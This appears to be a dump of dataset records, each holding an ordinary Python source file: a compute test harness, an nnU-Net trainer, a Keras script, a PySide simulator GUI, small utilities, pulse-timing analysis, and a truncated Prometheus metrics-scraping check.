unittest\n\nfrom bndl.compute.run import create_ctx\nfrom bndl.compute.worker import run_workers, WorkerSupervisor\nfrom bndl.util.conf import Config\nimport bndl\n\n\nclass ComputeTest(unittest.TestCase):\n worker_count = 3\n config = {}\n\n @classmethod\n def setUpClass(cls):\n # Increase switching interval to lure out race conditions a bit ...\n sys.setswitchinterval(1e-6)\n\n config = bndl.conf\n config['bndl.compute.worker_count'] = 0\n config['bndl.net.listen_addresses'] = 'tcp://127.0.0.1:0'\n config.update(cls.config)\n cls.ctx = create_ctx(config)\n\n cls.node_count = 0 if not cls.worker_count else cls.worker_count // 2 + 1\n cls.supervisors = []\n for i in range(cls.worker_count):\n args = ('--listen-addresses', 'tcp://127.0.0.%s:0' % (i // 2 + 1),\n '--seeds', cls.ctx.node.addresses[0])\n superv = WorkerSupervisor(args, process_count=1)\n superv.start()\n cls.supervisors.append(superv)\n\n for _ in range(2):\n cls.ctx.await_workers(cls.worker_count, 120, 120)\n assert cls.ctx.worker_count == cls.worker_count, \\\n '%s != %s' % (cls.ctx.worker_count, cls.worker_count)\n\n @classmethod\n def tearDownClass(cls):\n bndl.conf.clear()\n sys.setswitchinterval(5e-3)\n cls.ctx.stop()\n for superv in cls.supervisors:\n superv.stop()\n\n\nclass DatasetTest(ComputeTest):\n pass\n","sub_path":"bndl/compute/tests/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"370306807","text":"#########################################################################################################\n#------------------This class represents the nnUNet trainer for freezed ViT training.-------------------#\n#########################################################################################################\n\nfrom nnunet_ext.paths import default_plans_identifier\nfrom batchgenerators.utilities.file_and_folder_operations import *\nfrom nnunet_ext.training.network_training.multihead.nnUNetTrainerMultiHead import nnUNetTrainerMultiHead\n\n# -- Define globally the Hyperparameters for this trainer along with their type -- #\nHYPERPARAMS = {}\n\nclass nnUNetTrainerFreezedUNet(nnUNetTrainerMultiHead):\n def __init__(self, split, task, plans_file, fold, output_folder=None, dataset_directory=None, batch_dice=True, stage=None,\n unpack_data=True, deterministic=True, fp16=False, save_interval=5, already_trained_on=None, use_progress=True,\n identifier=default_plans_identifier, extension='multihead', tasks_list_with_char=None, mixed_precision=True,\n save_csv=True, del_log=False, use_vit=True, vit_type='base', version=1, split_gpu=False, transfer_heads=True,\n use_param_split=False, ViT_task_specific_ln=False, do_LSA=False, do_SPT=False, network=None):\n r\"\"\"Constructor of freezed ViT trainer for 2D, 3D low resolution and 3D full resolution nnU-Nets.\n \"\"\"\n # -- Initialize using parent class -- #\n super().__init__(split, task, plans_file, fold, output_folder, dataset_directory, batch_dice, stage, unpack_data, deterministic,\n fp16, save_interval, already_trained_on, use_progress, identifier, extension, tasks_list_with_char, mixed_precision,\n save_csv, del_log, use_vit, vit_type, version, split_gpu, True, use_param_split, ViT_task_specific_ln, do_LSA, do_SPT,\n network)\n\n # -- Define a freezed argument indicating if the ViT module is already freezed or not -- #\n self.freezed = False\n \n def run_training(self, task, output_folder):\n r\"\"\"Perform training using mh trainer. After training on the first task, freeze the ViT module.\n \"\"\"\n # -- Check if we trained on at least one task -- #\n if not self.freezed and len(self.mh_network.heads) == 1 and task not in self.mh_network.heads:\n # -- Freeze the whole ViT module, since it is trained on the first task -- #\n # -- Loop through the parameter names of the model -- #\n for name, param in self.network.named_parameters():\n # -- If the parameter name is in the list of the body_parameters, ie. param belongs to the body -- #\n if 'ViT' not in name:\n # -- Set requires_grad accordingly -- #\n param.requires_grad = False\n\n # -- Update mh module as well -- #\n for name, param in self.mh_network.model.named_parameters():\n # -- If the parameter name is in the list of the body_parameters, ie. param belongs to the body -- #\n if 'ViT' not in name:\n # -- Set requires_grad accordingly -- #\n param.requires_grad = False\n # -- Body -- #\n for name, param in self.mh_network.body.named_parameters():\n # -- If the parameter name is in the list of the body_parameters, ie. param belongs to the body -- #\n if 'ViT' not in name:\n # -- Set requires_grad accordingly -- #\n param.requires_grad = False\n # -- First Head -- #\n for name, param in self.mh_network.heads[list(self.mh_network.heads.keys())[0]].named_parameters():\n # -- If the parameter name is in the list of the body_parameters, ie. param belongs to the body -- #\n if 'ViT' not in name:\n # -- Set requires_grad accordingly -- #\n param.requires_grad = False\n\n # -- Set the flag so we don't have to do it again for the next task -- #\n self.freezed = True\n\n # -- Execute the training for the desired epochs -- #\n ret = super().run_training(task, output_folder) # Execute training from parent class --> already_trained_on will be updated there\n\n return ret # Finished with training for the specific task\n ","sub_path":"nnunet_ext/training/network_training/freezed_unet/nnUNetTrainerFreezedUNet.py","file_name":"nnUNetTrainerFreezedUNet.py","file_ext":"py","file_size_in_byte":4442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"394888013","text":"import numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport os\nimport matplotlib.pyplot as plt\nimport time\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\n\nimport keras\nfrom keras import optimizers\nfrom keras.models import Sequential\nfrom keras.models import model_from_json\nfrom keras.layers import Dense\nfrom keras.callbacks import ModelCheckpoint\nfrom keras.utils import plot_model\n\nseed = 155\nnp.random.seed(seed)\n\ndef readData(pathToFile, n_output):\n# import from local directory\n dataset = pd.read_csv(pathToFile).values # not sure if I have headers, change to general data\n print(dataset.shape)\n X_train, X_test, Y_train, Y_test = train_test_split(dataset[:, :-n_output], dataset[:, -n_output:], test_size=0.25, random_state=87)\n print(X_train.shape, Y_train.shape)\n return X_train, Y_train, X_test, Y_test\n\ndef compileNN(n_input, n_hidden, n_output):\n nn = Sequential()\n #don’t explicitly create the input layer. Instead, we specify the number of neurons (or features) that feed into the first hidden layer.\n nn.add(Dense(units=n_hidden, input_dim=n_input, activation='relu')) # hidden layer\n nn.add(Dense(units=n_output, activation='sigmoid')) # output layer\n\n sgd = optimizers.SGD(lr=0.1, decay=1e-5, momentum=0.9, nesterov=True)\n nn.compile(loss='binary_crossentropy', optimizer=sgd, metrics=['accuracy'])\n return nn\n\ndef fitNN(nn, X_train, Y_train, n_epoch):\n filepath=\"weights_history/nn_weights-{epoch:02d}.hdf5\"\n checkpoint = keras.callbacks.ModelCheckpoint(filepath, monitor='val_acc', save_weights_only=False, save_best_only=False, mode='max')\n nn_fitted = nn.fit(X_train, Y_train, epochs=n_epoch, batch_size=X_train.shape[0], callbacks=[checkpoint], initial_epoch=0)\n print('finished fitting')\n\n evalNN(nn, X_test, Y_test)\n\n # serialize model to JSON\n nn_json = nn.to_json()\n with open(\"model.json\", \"w\") as json_file:\n json_file.write(nn_json)\n # serialize weights to HDF5\n nn.save_weights(\"model.h5\")\n print(\"Saved model to disk\")\n return nn_fitted\n\ndef loadNN():\n # load json and create model\n json_file = open('model.json', 'r')\n loaded_model_json = json_file.read()\n json_file.close()\n loaded_model = model_from_json(loaded_model_json)\n\n # load weights into new model\n loaded_model.load_weights(\"model.h5\")\n print(\"Loaded model from disk\")\n\n return loaded_model\n\ndef predictNN(test_input):\n nn = loadNN()\n print(nn.predict(test_input, batch_size=None, steps=None))\n\ndef evalNN(nn, X_test, Y_test):\n print('entered function')\n print(nn.evaluate(X_test, Y_test))\n\ndef evalNNHistory(nn_fitted, lastEpoch):\n [nn_fitted.history['loss'][1:lastEpoch],nn_fitted.history['acc'][1:lastEpoch]]\n\ndef visualNNProg(nn_fitted, X_test, Y_test):\n temp_test_model = Sequential() # create model\n temp_test_model.add(Dense(units=20, input_dim=14, activation='relu')) # hidden layer\n temp_test_model.add(Dense(units=5, activation='sigmoid')) # output layer\n temp_test_model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\n test_over_time = []\n for i in range(len(nn_fitted.history['acc'])):\n temp_test_model.load_weights(\"weights_history/nn_weights-%02d.hdf5\" % i)\n scores = temp_test_model.evaluate(X_test, Y_test, verbose=0)\n # 0 is loss; 1 is accuracy\n test_over_time.append(scores)\n\ndef visualModel(nn):\n plot_model(nn, to_file='nn_visual.png', show_shapes='True')\n\n\nX_train, Y_train, X_test, Y_test = readData(\"data/trainingData.csv\", 5)\nnn = compileNN(14, 20, 5)\nnn_fitted = fitNN(nn, X_train, Y_train, 500)\n#test_input = np.array([[0.109589, 0.0958904, 0.0958904, 0.0273973, 0.0958904, 0.0821918, 0.136986, 0.0821918, 0.0136986, 0.0684932, 0.0821918, 0.0684932, 0.0410959, 0.0136986]])\n#predictNN(test_input)\n#nn = loadNN()\n#visualModel(nn)\n# evalNN(nn, X_test, Y_test)\nevalNNHistory(nn_fitted, 500)\nvisualNNProg(nn_fitted, X_test, Y_test)\n","sub_path":"node_app/neural_network/keras_network.py","file_name":"keras_network.py","file_ext":"py","file_size_in_byte":4011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"574427450","text":"from PySide2.QtCore import QTimer\nfrom PySide2.QtWidgets import QApplication, QMainWindow, QWidget, QAction, QToolBar, QLabel, QTreeWidget, \\\n QTreeWidgetItem, QDockWidget\nfrom version import format_version\nfrom descriptors import *\nfrom elements import *\nfrom time import perf_counter\n\n\ndef make_title():\n return f'mcircuit {format_version()}'\n\n\nELEMENTS = {\n 'Gates': {'Not': NotElement, 'And': GateElement}\n}\n\n\nclass ElementTree(QTreeWidget):\n def __init__(self):\n super().__init__()\n\n self.setHeaderHidden(True)\n self.setColumnCount(1)\n\n def create_from_dict(self, d):\n for category in d:\n category_item = QTreeWidgetItem()\n category_item.setText(0, category)\n\n for elem_name in d[category]:\n it = QTreeWidgetItem()\n it.setText(0, elem_name)\n category_item.addChild(it)\n\n self.addTopLevelItem(category_item)\n\n\nif __name__ == \"__main__\":\n app = QApplication()\n w = QMainWindow()\n w.setMinimumSize(640, 480)\n\n elems = ElementTree()\n elems.create_from_dict(ELEMENTS)\n elems.expandAll()\n dw = QDockWidget()\n dw.setWidget(elems)\n dw.setWindowTitle('Elements')\n dw.setFeatures(QDockWidget.DockWidgetMovable |\n QDockWidget.DockWidgetFloatable)\n w.addDockWidget(Qt.LeftDockWidgetArea, dw)\n\n sim = Simulator()\n schem = Schematic()\n sim.root = schem.root\n g = Gate('or', 1, 2, False)\n g.name = 'gate'\n el = GateElement(sim, g)\n schem.add_element(el)\n ed = SchematicEditor(schem)\n t = QTimer(w)\n\n edd = None\n\n def _on_select():\n global edd\n it = ed.scene().selectedItems()\n\n if len(it) > 0:\n it = it[0]\n else:\n it = None\n\n if isinstance(it, Element):\n edd = QDockWidget()\n edd.setWidget(it.editor())\n edd.setWindowTitle('Element properties')\n edd.setFeatures(QDockWidget.DockWidgetMovable |\n QDockWidget.DockWidgetFloatable)\n w.addDockWidget(Qt.LeftDockWidgetArea, edd)\n elif edd is not None:\n w.removeDockWidget(edd)\n edd = None\n\n ed.scene().selectionChanged.connect(_on_select)\n\n ticks = 0\n\n def _on_timer():\n global ticks\n ticks += 1000\n sim.burst()\n\n t.timeout.connect(_on_timer)\n\n action = QAction('Simulate')\n action.setCheckable(True)\n\n def _handle_sim_action():\n simulating = action.isChecked()\n if simulating:\n sim.init()\n t.start(1000 / 60)\n benc_timer.start(1000)\n else:\n lbl.setText('')\n sim.cleanup()\n t.stop()\n benc_timer.stop()\n\n action.changed.connect(_handle_sim_action)\n toolbar = QToolBar()\n\n lbl = QLabel()\n\n benc_timer = QTimer(w)\n\n def _on_bench():\n global ticks\n lbl.setText(f'Frequency: {ticks} Hz')\n ticks = 0\n\n benc_timer.timeout.connect(_on_bench)\n\n toolbar.addAction(action)\n toolbar.addSeparator()\n toolbar.addWidget(lbl)\n w.addToolBar(toolbar)\n\n w.setCentralWidget(ed)\n\n w.setWindowTitle(make_title())\n w.show()\n app.exec_()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"64301717","text":"\"\"\"Config for StatusBot v0.1.\n\nhttps://github.com/SuperShadowPlay/StatusBot\n\"\"\"\n\n\"\"\"KEEP THE QUOTES\"\"\"\n\n# Your bot's token\nTOKEN = 'null'\n\n# What status to detect\nstatusDetect = 'null'\n\n# The id of the role to give/take\nROLEID = 'null'\n\n# Give a role when the status is detected (No quotes are needed here!)\ngiveRole = False\n\n# Server ID\nSERVERID = 'null'\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"195557079","text":"# -*- coding:utf-8 -*-\n\n__author__ = 'Zongqing.liu'\nfrom .bean import Bean\n\n\nclass Variable(Bean):\n _tbl = 'variable'\n _id = 'id'\n _cols = 'id, grp_id, name, content, note, create_user'\n\n def __init__(self, _id, grp_id, name, content, note, create_user):\n self.id = _id\n self.grp_id = grp_id\n self.name = name\n self.content = content\n self.note = note\n self.create_user = create_user\n\n","sub_path":"rrd/model/portal/variable.py","file_name":"variable.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"389024915","text":"import csv\n\noutput = open('emoticons.json', 'w')\n\noutput.write('[')\n\nwith open('emoticons-all.csv', 'rt') as file:\n\treader = csv.reader(file)\n\tfor row in reader:\n\t\tstring = row[0]\n\t\tstring = string.split(' ', 1)[0]\n\t\toutput.write(',\\'' + string + '\\'')\n\noutput.write(']')","sub_path":"parse-emoticons.py","file_name":"parse-emoticons.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"433979205","text":"import pylab as plt, numpy as np\nimport mass\nimport scipy.signal, scipy.optimize\nimport exafs\nimport h5py\n\n\n\nimport scipy.signal, scipy.optimize\n\ndef downsampled(x, samples_per_newsample):\n resampled_len = int(np.floor(len(x)/samples_per_newsample))\n reshaped_x = np.reshape(x[:resampled_len*samples_per_newsample], (resampled_len, samples_per_newsample))\n return np.mean(reshaped_x, 1)\n\ndef contiguous_regions(condition, minlen=8):\n \"\"\"Finds contiguous True regions of the boolean array \"condition\". Returns\n a 2D array where the first column is the start index of the region and the\n second column is the end index.\"\"\"\n d = np.diff(condition)\n idx, = d.nonzero()\n idx += 1\n if condition[0]:\n idx = np.r_[0, idx]\n if condition[-1]:\n idx = np.r_[idx, condition.size] # Edit\n idx.shape = (-1,2)\n starts, ends = idx[:,0], idx[:,1]\n for j in range(len(starts))[::-1]:\n if ends[j]-starts[j]0,minlen)\n return starts, ends\n\n\ndef monotonicity(ljh_fname):\n crate_epoch_usec, crate_frame = mass.load_aux_file(ljh_fname)\n starts, ends = monotonic_frame_ranges(np.array(crate_frame, dtype=np.int), minlen=8)\n\n # the ratio of diff(crate_epoch_usec) to diff(crate_frame) appears to follow a pattern with period 4\n # one sample with a much higher than average ratio, two with typical ratios, one with much lower ratio\n # so I would like to resample both of them such that each sample is now the average of 4 (or a multiple of 4)\n # other samples, maybe roughy 1 second is good\n period_entries = 4 # psuedo-period in plot of diff(crate_epoch_usec), it was 4 when I looked, but it may not always be 4\n resampling_period_s = 1\n samples_per_newsample = int(period_entries*np.ceil(1e6*resampling_period_s/(period_entries*np.mean(np.diff(crate_epoch_usec)))))\n keep = ends-starts > samples_per_newsample\n starts = starts[keep]\n ends=ends[keep]\n resampled_crate_epoch = []\n resampled_crate_frame = []\n\n for j in range(len(starts)):\n resampled_crate_epoch.append(downsampled(crate_epoch_usec[starts[j]:ends[j]], samples_per_newsample))\n resampled_crate_frame.append(downsampled(crate_frame[starts[j]:ends[j]], samples_per_newsample))\n start_frames = [resampled_crate_frame[0][0]]\n offsets = []\n for j in range(len(starts)):\n offsets.append(-resampled_crate_frame[j][0]+start_frames[j])\n if j != len(starts)-1:\n first_epoch_in_next = resampled_crate_epoch[j+1][0]\n start_frames.append(extrap(np.array([first_epoch_in_next]), resampled_crate_epoch[j], resampled_crate_frame[j]+offsets[j]))\n\n new_frame = [r+offsets[i] for i,r in enumerate(resampled_crate_frame)]\n\n return offsets, np.hstack(resampled_crate_epoch), np.hstack(new_frame)\n\n\ndef apply_offsets_for_monotonicity_array(offsets, time_wo_offsets, test=False, forceNew=False):\n starts, ends = monotonic_frame_ranges(time_wo_offsets, minlen=0)\n if len(starts)>len(offsets):\n ems = ends-starts\n starts = sorted(starts[np.argsort(ems)[-len(offsets):]]) # drop the shortest regions\n ends = sorted(ends[np.argsort(ems)[-len(offsets):]]) # drop the shortest regions\n out = time_wo_offsets[:]\n for j in xrange(1,len(starts)):\n out[ends[j-1]+1:ends[j]+1]+=offsets[j]\n return out\n\n\ndef apply_offsets_for_monotonicity_dataset(offsets, ds, test=False, forceNew=False):\n if not \"p_timestamp_raw\" in ds.hdf5_group or forceNew: # only apply corrections once\n if not \"p_timestamp_raw\" in ds.hdf5_group: ds.p_timestamp_raw = ds.hdf5_group.create_dataset(\"p_timestamp_raw\", data=ds.p_timestamp)\n time_w_offsets = apply_offsets_for_monotonicity_array(offsets, ds.p_timestamp_raw[:])\n ds.p_timestamp[:] = time_w_offsets\n else:\n ds.p_timestamp_raw = ds.hdf5_group[\"p_timestamp_raw\"]\n\ndef apply_offset_for_monotonicity_external_trigger(offsets, ds):\n filename = mass.ljh_util.ljh_get_extern_trig_fname(ds.filename)\n h5 = h5py.File(filename)\n if \"trig_times_w_offsets\" in h5:\n del(h5[\"trig_times_w_offsets\"])\n trig_times_wo_offsets = np.array(h5[\"trig_times\"], np.int64) #convert to int64 so subtraction will give negative numbers\n h5[\"trig_times_w_offsets\"] =apply_offsets_for_monotonicity_array(offsets, trig_times_wo_offsets)\n h5.close()\n\n\ndef apply_offsets_for_monotonicity(data, test=False, doPlot=True, forceNew=False):\n offsets, crate_epoch, crate_frame = monotonicity(data.first_good_dataset.filename) # offets has units of frame count\n number_of_rows = data.first_good_dataset.number_of_rows\n timebase = data.first_good_dataset.timebase\n offsets_rowcount = np.array([np.int64(o*number_of_rows) for o in offsets])\n offsets_seconds = (offsets_rowcount/number_of_rows-0.3)*timebase\n # I don't understand why the constant offset is neccesary, or why it has that value, and I don't know if it will work with other datasets\n print(\"applying time offsets to all datasets\", offsets)\n # apply_offsets_for_monotonicity_dataset(offsets_seconds, ds, test, forceNew)\n for ds in data:\n try:\n apply_offsets_for_monotonicity_dataset(offsets_seconds, ds, test, forceNew)\n except:\n data.set_chan_bad(ds.channum, \"apply offsets for monotonicity\")\n apply_offset_for_monotonicity_external_trigger(offsets_rowcount, data.first_good_dataset)\n if doPlot:\n plt.figure()\n plt.plot([ds.channum for ds in data], [np.amax(np.diff(ds.p_timestamp[:])) for ds in data],'.')\n plt.xlabel(\"channel number\")\n plt.ylabel(\"largest jump in p_timestamp\")\n\ndef extrap(x, xp, yp):\n \"\"\"np.interp function with linear extrapolation\"\"\"\n y = np.interp(x, xp, yp)\n y[x < xp[0]] = yp[0] + (x[x xp[-1]]= yp[-1] + (x[x>xp[-1]]-xp[-1])*(yp[-1]-yp[-2])/(xp[-1]-xp[-2])\n return y\n\n\n\ndef periodic_median(timestamp, mod_period=0.001):\n # finds the offset required to make the median 0.5, the backs out what the true median must be to require that offset\n p0=0\n maxj = 3\n for j in xrange(maxj+1):\n phase = (timestamp+p0)%mod_period\n p0 -= (np.median(phase)-0.5*mod_period)+np.random.rand()*(0 if j==maxj else 0.001*mod_period)\n # the random bit is to try to avoid the case where the median is 0.5 due to half the population being\n # approx 0 and half being approx 1,\n # I tested without the random adding 10000 linearly increasing offsets to some actual data\n # and never observed the problem the random is trying to address\n return (0.5-p0)*mod_period\n\ndef calc_laser_phase_dataset(ds, forceNew=False, pump_period = 0.002):\n \"\"\"calculate a number from 0-2 for each pulse\n designed so that numbers near 0.5 are pumped laser x-rays\n numbers near 1.5 are unpumped laser x-rays\n numbers far from either 0.5 or 1.5 are non-laser x-rays\n \"\"\"\n if \"p_laser_phase\" in ds.hdf5_group and not forceNew:\n ds.p_laser_phase = ds.hdf5_group[\"p_laser_phase\"]\n else:\n if \"p_laser_phase\" in ds.hdf5_group: del(ds.hdf5_group[\"p_laser_phase\"])\n med = periodic_median(ds.time_after_last_external_trigger[:],pump_period/2)\n phase = 2*((ds.time_after_last_external_trigger[:]+med)%pump_period)/pump_period\n ds.hdf5_group[\"p_laser_phase\"] = phase\n ds.p_laser_phase = ds.hdf5_group[\"p_laser_phase\"]\n return ds.p_laser_phase\n\n\ndef calc_laser_phase(data, forceNew=False, pump_period=0.002):\n #try to pick a reasonable dataset to get f0 and the spline from\n for ds in data:\n calc_laser_phase_dataset(ds, forceNew, pump_period)\n\ndef calc_laser_cuts_dataset(ds, forceNew=False, keep_size=0.012, exclude_size=0.014):\n if \"pumped_bool\" in ds.hdf5_group and not forceNew:\n return\n for s in [\"pumped_bool\", \"unpumped_bool\", \"not_laser_bool\"]:\n if s in ds.hdf5_group: del(ds.hdf5_group[s])\n ds.hdf5_group[\"pumped_bool\"] = np.abs(ds.p_laser_phase[:]-0.5)exclude_size, np.abs(ds.p_laser_phase[:]-1.5)>exclude_size)\n\n\ndef choose_laser_dataset(ds, band, keep_size=0.010, exclude_size=0.014,forceNew=False):\n \"\"\"\n uses the dataset.cuts object to mark bad all pulses not in a specific category related\n to laser timing\n :param data: a microcal TESChannelGroup object\n :param band: options: (1,2,\"laser\", \"not_laser\") for( band1, band2, band1 and band2, not_laser pulses)\n :param cut_lines: same as phase_2band_find\n :return: None\n \"\"\"\n calc_laser_cuts_dataset(ds, forceNew, keep_size, exclude_size) # knows to check hdf5 file first\n band = str(band).lower()\n cutnum = ds.CUT_NAME.index('timing')\n ds.cuts.clearCut(cutnum)\n\n if band ==\"pumped\":\n tocut = ~(ds.hdf5_group[\"pumped_bool\"][:])\n elif band == \"unpumped\":\n tocut = ~(ds.hdf5_group[\"unpumped_bool\"][:])\n elif band == \"laser\":\n tocut = ~np.logical_or(ds.hdf5_group[\"pumped_bool\"][:], ds.hdf5_group[\"unpumped_bool\"][:])\n elif band == \"not_laser\":\n tocut = ~(ds.hdf5_group[\"not_laser_bool\"][:])\n elif band == \"all\":\n return\n else:\n raise ValueError(\"%s is not a valid laser choie\"%band)\n\n ds.cuts.cut(cutnum, tocut)\n\ndef choose_laser(data, band, keep_size=0.010, exclude_size=0.014, forceNew=False):\n print(\"Choosing otherwise good %s pulses via cuts.\"%band.upper())\n for ds in data:\n choose_laser_dataset(ds, band, keep_size, exclude_size, forceNew)\n\ndef plot_phase(ds):\n for i,b in enumerate([\"laser\", \"pumped\", \"unpumped\", \"not_laser\"]):\n choose_laser_dataset(ds, b)\n counts, bin_edges = np.histogram(ds.p_laser_phase[ds.cuts.good()], np.linspace(0,2,1000))\n bin_centers = bin_edges[1:]-0.5*(bin_edges[1]-bin_edges[0])\n if b == \"laser\":\n plt.plot(bin_centers, counts, label=b, lw=2.5)\n else:\n plt.plot(bin_centers, counts+i, label=b)\n plt.xlabel(\"laser phase (0.5 should be pumped, 1.5 unpumped)\")\n plt.ylabel(\"number of good pulses per bin\")\n plt.legend()\n plt.title(\"channel %g\"%ds.channum)","sub_path":"xes/pulse_timing.py","file_name":"pulse_timing.py","file_ext":"py","file_size_in_byte":10430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"526481054","text":"# (C) Copyright 2017 Hewlett Packard Enterprise Development LP\nimport math\nimport requests\nimport six\nimport yaml\n\nfrom prometheus_client.parser import text_string_to_metric_families\n\nimport monasca_agent.collector.checks as checks\nimport monasca_agent.collector.checks.utils as utils\n\nKUBERNETES_LABELS = ['app']\n\n\nclass Prometheus(checks.AgentCheck):\n \"\"\"Scrapes metrics from Prometheus endpoints\n Can be configured three ways:\n 1. Autodetect endpoints by pod annotations\n 2. Autodetect endpoints by services\n 3. Manually configure each prometheus endpoints to scrape\n\n We autodetect based on the annotations assigned to pods/services.\n\n We look for the following entries:\n 'prometheus.io/scrape': Only scrape pods that have a value of 'true'\n 'prometheus.io/path': If the metrics path is not '/metrics' override this.\n 'prometheus.io/port': Scrape the pod on the indicated port instead of the default of '9102'.\n\n Additional settings for prometheus endpoints\n 'monasca.io/usek8slabels': Attach kubernetes labels of the pod that is being scraped. Default to 'true'\n 'monasca.io/whitelist': Yaml list of metric names to whitelist against on detected endpoint\n\n \"\"\"\n\n def __init__(self, name, init_config, agent_config, instances=None):\n super(Prometheus, self).__init__(name, init_config, agent_config, instances)\n self.connection_timeout = init_config.get(\"timeout\", 3)\n self.auto_detect_endpoints = init_config.get(\"auto_detect_endpoints\", False)\n if self.auto_detect_endpoints:\n self.kubernetes_connector = None\n self.detect_method = init_config.get(\"detect_method\", \"pod\").lower()\n self.kubelet_url = None\n if instances is not None and len(instances) > 1:\n raise Exception('Prometheus Client only supports one configured instance if auto detection is set')\n if self.detect_method not in ['pod', 'service']:\n raise Exception('Invalid detect method {}. Must be either pod or service')\n\n def check(self, instance):\n dimensions = self._set_dimensions(None, instance)\n del dimensions['hostname']\n if not self.auto_detect_endpoints:\n metric_endpoint = instance.get(\"metric_endpoint\", None)\n if not metric_endpoint:\n self.log.error(\"metric_endpoint must be defined for each instance\")\n return\n endpoint_dimensions = instance.get(\"default_dimensions\", {})\n endpoint_dimensions.update(dimensions)\n self.report_endpoint_metrics(metric_endpoint, endpoint_dimensions)\n else:\n self.kubernetes_labels = instance.get('kubernetes_labels', KUBERNETES_LABELS)\n if not self.kubernetes_connector:\n self.kubernetes_connector = utils.KubernetesConnector(self.connection_timeout)\n if self.detect_method == \"pod\":\n if not self.kubelet_url:\n try:\n host = self.kubernetes_connector.get_agent_pod_host()\n self.kubelet_url = \"http://{}:10255/pods\".format(host)\n except Exception as e:\n self.log.error(\"Could not obtain current host from Kubernetes API {}. \"\n \"Skipping check\".format(e))\n return\n metric_endpoints, endpoints_whitelist, endpoint_metric_types = self._get_metric_endpoints_by_pod(dimensions)\n # Detect by service\n else:\n metric_endpoints, endpoints_whitelist, endpoint_metric_types = self._get_metric_endpoints_by_service(dimensions)\n for metric_endpoint, endpoint_dimensions in six.iteritems(metric_endpoints):\n endpoint_dimensions.update(dimensions)\n self.report_endpoint_metrics(metric_endpoint, endpoint_dimensions,\n endpoints_whitelist[metric_endpoint], endpoint_metric_types[metric_endpoint])\n\n def _get_metric_endpoints_by_pod(self, dimensions):\n scrape_endpoints = {}\n endpoint_whitelist = {}\n endpoint_metric_types = {}\n # Grab running pods from local Kubelet\n try:\n pods = requests.get(self.kubelet_url, timeout=self.connection_timeout).json()\n except Exception as e:\n exception_message = \"Could not get pods from local kubelet with error - {}\".format(e)\n self.log.exception(exception_message)\n raise Exception(exception_message)\n\n # Iterate through each pod and check if it contains a scrape endpoint\n for pod in pods['items']:\n try:\n pod_metadata = pod['metadata']\n pod_spec = pod['spec']\n pod_status = pod['status']\n if \"annotations\" not in pod_metadata or not ('containers' in pod_spec and 'podIP' in pod_status):\n # No annotations, containers, or endpoints skipping pod\n continue\n\n # Check pod annotations if we should scrape pod\n pod_annotations = pod_metadata['annotations']\n prometheus_scrape = pod_annotations.get(\"prometheus.io/scrape\", \"false\").lower()\n if prometheus_scrape != \"true\":\n continue\n pod_ports = []\n pod_containers = pod_spec['containers']\n for container in pod_containers:\n if \"ports\" in container:\n pod_ports += container['ports']\n pod_name = pod_metadata['name']\n endpoints = self._get_prometheus_endpoint(pod_annotations, pod_ports, pod_name)\n if not endpoints:\n continue\n\n # Add pod endpoint to scrape endpoints\n pod_ip = pod_status['podIP']\n # Loop through list of ports and build list of endpoints\n\n pod_dimensions = dimensions.copy()\n try:\n use_k8s_labels, whitelist, metric_types = self._get_monasca_settings(pod_name, pod_annotations)\n except Exception as e:\n error_message = \"Error parsing monasca annotations on endpoints {} with error - {}. \" \\\n \"Skipping scraping metrics\".format(endpoints, e)\n self.log.error(error_message)\n continue\n if use_k8s_labels:\n pod_dimensions.update(utils.get_pod_dimensions(\n self.kubernetes_connector, pod['metadata'],\n self.kubernetes_labels))\n for endpoint in endpoints:\n scrape_endpoint = \"http://{}:{}\".format(pod_ip, endpoint)\n scrape_endpoints[scrape_endpoint] = pod_dimensions\n endpoint_whitelist[scrape_endpoint] = whitelist\n endpoint_metric_types[scrape_endpoint] = metric_types\n self.log.info(\"Detected pod endpoint - {} with metadata \"\n \"of {}\".format(scrape_endpoint,\n pod_dimensions))\n except Exception as e:\n self.log.warn(\"Error parsing {} to detect for scraping - {}\".format(pod, e))\n continue\n\n return scrape_endpoints, endpoint_whitelist, endpoint_metric_types\n\n def _get_metric_endpoints_by_service(self, dimensions):\n scrape_endpoints = {}\n endpoint_whitelist = {}\n endpoint_metric_types = {}\n # Grab services from Kubernetes API\n try:\n services = self.kubernetes_connector.get_request(\"/api/v1/services\")\n except Exception as e:\n exception_message = \"Could not get services from Kubernetes API with error - {}\".format(e)\n self.log.exception(exception_message)\n raise Exception(exception_message)\n\n # Iterate through each service and check if it is a scape endpoint\n for service in services['items']:\n service_metadata = service['metadata']\n service_spec = service['spec']\n if \"annotations\" not in service_metadata or \"ports\" not in service_spec:\n # No annotations or pods skipping service\n continue\n\n # Check service annotations if we should scrape service\n service_annotations = service_metadata['annotations']\n prometheus_scrape = service_annotations.get(\"prometheus.io/scrape\", \"false\").lower()\n if prometheus_scrape != \"true\":\n continue\n service_name = service_metadata['name']\n service_ports = service_spec['ports']\n endpoints = self._get_prometheus_endpoint(service_annotations,\n service_ports,\n service_name)\n if not endpoints:\n continue\n\n # Add service endpoint to scrape endpoints\n cluster_ip = service_spec['clusterIP']\n service_dimensions = dimensions.copy()\n try:\n use_k8s_labels, whitelist, metric_types = self._get_monasca_settings(service_name, service_annotations)\n except Exception as e:\n error_message = \"Error parsing monasca annotations on 